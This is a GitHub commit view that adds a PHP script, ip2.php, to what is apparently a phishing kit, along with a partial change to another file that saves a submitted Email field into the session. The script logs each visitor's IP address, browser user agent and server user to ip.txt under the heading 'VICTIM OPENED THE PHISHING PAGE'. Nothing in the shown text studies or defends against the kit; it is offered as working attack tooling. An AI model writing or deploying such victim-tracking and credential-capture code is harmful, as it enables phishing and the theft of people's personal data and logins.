Add files via upload

This commit is contained in:
AnonUD4Y 2019-08-30 15:28:12 +00:00 committed by GitHub
parent b57adb2f42
commit 84c314f019
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 162 additions and 132 deletions

File diff suppressed because one or more lines are too long

34
WebPages/live_web/ip2.php Normal file
View File

@ -0,0 +1,34 @@
<?php
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$browser = $_SERVER['HTTP_USER_AGENT'];
$useragent = " User-Agent: " . $browser;
$user = get_current_user();
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "VICTIM OPENED THE PHISHING PAGE" . "/r/n" . " Victim Public IP: ";
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
$fp = fopen($file, 'a');
fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $currentuser);
fclose($fp);

View File

@ -1,8 +1,4 @@
<?php
session_start();
error_reporting(0);
<?php
if(isset($_POST["Email"])){
$_SESSION["Email"]=$_POST["Email"];
}